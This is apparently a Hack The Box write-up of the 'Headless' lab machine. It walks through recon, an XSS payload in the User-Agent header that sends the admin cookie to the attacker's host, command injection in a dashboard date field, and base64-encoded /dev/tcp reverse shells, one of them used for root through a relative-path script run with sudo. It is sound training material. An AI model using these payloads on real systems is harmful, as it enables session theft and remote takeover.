HTB Headless Writeup
Introduction
The initial access was quite trivial but an interesting cross site scripting deliver using cross site scripting in requests headers. The privilege escalation method is also a very trivial but fun none the less. Its a quite easy box but quite interesting none the less.
If you like any of my content it would help a lot if you used my referral link to buy Hack The Box/Academy Subscriptions which you can find on my about page.
Initial access
Recon
To start off our recon we will begin with an Nmap scan of the machine. Using the following command:
1
sudo nmap -sS -A -p- -v -oN nmap 10.129.222.226
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# Nmap 7.94 scan initiated Tue Mar 26 12:57:12 2024 as: nmap -sS -A -p- -v -oN nmap 10.129.222.226
Nmap scan report for 10.129.222.226
Host is up (0.038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Tue, 26 Mar 2024 16:57:29 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94%I=7%D=3/26%Time=6602FE77%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\x20
SF:Python/3\.11\.2\r\nDate:\x20Tue,\x2026\x20Mar\x202024\x2016:57:29\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Zfs;
SF:\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20
SF:lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20
SF:\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,
SF:\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construction
SF:</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body
SF:\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20
SF:'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20displ
SF:ay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-c
SF:ontent:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ali
SF:gn-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20h
SF:eight:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x200,\
SF:x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE\x
SF:20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\
SF:x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20respons
SF:e</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version
SF:\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
SF:code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20u
SF:nsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=3/26%OT=22%CT=1%CU=32521%PV=Y%DS=2%DC=T%G=Y%TM=6602FED
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11
OS:NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Uptime guess: 15.648 days (since Sun Mar 10 21:26:13 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 33.03 ms 10.10.16.1
2 16.96 ms 10.129.222.226
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 26 12:59:10 2024 -- 1 IP address (1 host up) scanned in 118.25 seconds
When reviewing the Nmap output we can see that this machine only had two ports open one being SSH and the other being port 5000 which hosted a web application. When browsing to this web application we could see a front page that refers to a support page where we would be able to ask questions.
When going to this support page i found out something interesting when supplying a Cross Site scripting payload in the message field. We’d get a message saying our message was malicious and a hacking attempt was detected
Seeing that the page said it was going to send my request headers to the administrator it occured to me that maybe i should do another xss payload inside one of the headers such as the user-agent. I then decided to put the same xss polyglot in the useragent to test if any of the alerts would render. I’d then capture the request and modify the useragent ending up with the following request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /support HTTP/1.1
Host: 10.129.222.226:5000
User-Agent: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 317
Origin: http://10.129.222.226:5000
Connection: close
Referer: http://10.129.222.226:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=test&lname=test&email=test%40me.com&phone=test&message=jaVasCript%3A%2F*-%2F*%60%2F*%5C%60%2F*%27%2F*%22%2F**%2F%28%2F*+*%2FoNcliCk%3Dalert%28%29+%29%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--%21%3E%5Cx3csVg%2F%3CsVg%2FoNloAd%3Dalert%28%29%2F%2F%3E%5Cx3e%0D%0A
The moment after this we’d get our alert to trigger on the page.
Hijacking admin token
So now that we have proof that we are able perform a cross site scripting attack we just have to upgrade our payload to then send the administrators cookie to us instead. After some experimenting i came up with the following javascript payload.
1
2
3
4
5
6
7
8
const Http = new XMLHttpRequest();
const url='http://10.10.16.27/TEST?c='+document.cookie;
Http.open("GET", url);
Http.send();
Http.onreadystatechange = (e) => {
console.log(Http.responseText)
}
After base64 encoding this command it would look like the following wrapped in our xss payload.
1
<svg onload='eval(atob("Y29uc3QgSHR0cCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwpjb25zdCB1cmw9J2h0dHA6Ly8xMC4xMC4xNi4yNy9URVNUP2M9Jytkb2N1bWVudC5jb29raWU7Ckh0dHAub3BlbigiR0VUIiwgdXJsKTsKSHR0cC5zZW5kKCk7CgpIdHRwLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IChlKSA9PiB7CiAgY29uc29sZS5sb2coSHR0cC5yZXNwb25zZVRleHQpCn0="));'
Before we send this request we first need to setup our webserver, I did this python
1
python -m http.server 80
Next we sent the following request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /support HTTP/1.1
Host: 10.129.222.226:5000
User-Agent: <svg onload='eval(atob("Y29uc3QgSHR0cCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwpjb25zdCB1cmw9J2h0dHA6Ly8xMC4xMC4xNi4yNy9URVNUP2M9Jytkb2N1bWVudC5jb29raWU7Ckh0dHAub3BlbigiR0VUIiwgdXJsKTsKSHR0cC5zZW5kKCk7CgpIdHRwLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IChlKSA9PiB7CiAgY29uc29sZS5sb2coSHR0cC5yZXNwb25zZVRleHQpCn0="));'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
Origin: http://10.129.222.226:5000
Connection: close
Referer: http://10.129.222.226:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=test&lname=test&email=test%40me.com&phone=test&message=jaVasCript%3A%2F*-%2F*%60%2F*%5C%60%2F*%27%2F*%22%2F**%2F%28%2F*+*%2FoNcliCk%3Dalert%28%29+%29%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--%21%3E%5Cx3csVg%2F%3CsVg%2FoNloAd%3Dalert%28%29%2F%2F%3E%5Cx3e%0D%0A%0D%0A
A few moments later we’d get access to the Administrators cookies
Now we have access to an admin token but when loading this token in our browser we wouldn’t get any hint of other pages we can go to. So i assumed that we had to discover these. I decided to run dirsearch on the webserver. This would result in me finding out that dashboard is also a valid url.
1
dirsearch -u http://10.129.222.226:5000 -t 500 -r -f
When browsing to this URL with our admin token we were able to access it while with our previous one we were not.
Command execution
So now that we have access to this new page we can see it only has one functionality. While testing this functionality i found out it was vulnerable to command injection. i tested this by sending a simple curl command after a semi colon. After sending the following request i’d get a callback on my websever
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /dashboard HTTP/1.1
Host: 10.129.222.226:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://10.129.222.226:5000
Connection: close
Referer: http://10.129.222.226:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-15; curl http://10.10.16.27/CODETEST
So after this all we have to do is get a working reverse shell payload. To save me the hassle of messing with syntax i decided to base64 encode my command.
1
2
echo -n '/bin/bash -l > /dev/tcp/10.10.16.27/443 0<&1 2>&1' | base64
this command gave us the following B64 encoded string
1
L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuMTYuMjcvNDQzIDA8JjEgMj4mMQ==
Then using this B64 string our payload will look like this:
1
echo L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuMTYuMjcvNDQzIDA8JjEgMj4mMQ== | base64 --decode | bash
So next we setup our reverse listener with netcat
1
nc -lnvp 443
Then we sent the following request. After sending this request we’d get a reverse shell as dvir user
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /dashboard HTTP/1.1
Host: 10.129.222.226:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
Origin: http://10.129.222.226:5000
Connection: close
Referer: http://10.129.222.226:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-15; echo L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuMTYuMjcvNDQzIDA8JjEgMj4mMQ== | base64 --decode | bash
Privilege escalation
First of all upgrade the current reverse shell to a more easy to use shell using python
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Next i ran the command i always run first when landing on a machine sudo -l to check if this user is able to execute any commands as root. here we could see that the user was allowed to run /usr/bin/syscheck as root.
1
sudo -l
So the first step would be to check out what this file is. Upon inspection it seems to be a bash script which we can check the contents of with the cat command
1
cat /usr/bin/syscheck
Looking through the script the attack vector becomes very clear. The script below calls ./initdb.sh script from a relative path. This means we could just run this file from a location that doesn’t have the file originally and then we just create our own with a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Run the following command to create our reverse shell in the initdb.sh file as well as making it executable
1
2
echo -n '/bin/bash -l > /dev/tcp/10.10.16.27/444 0<&1 2>&1' > initdb.sh
chmod +x
Then after doing this we can setup our second listener this time on port 444
1
nc -lnvp 444
After setting up our listener we could run the script as root. After a second we’d be greeted with a reverse shell as root.
1
sudo /usr/bin/syscheck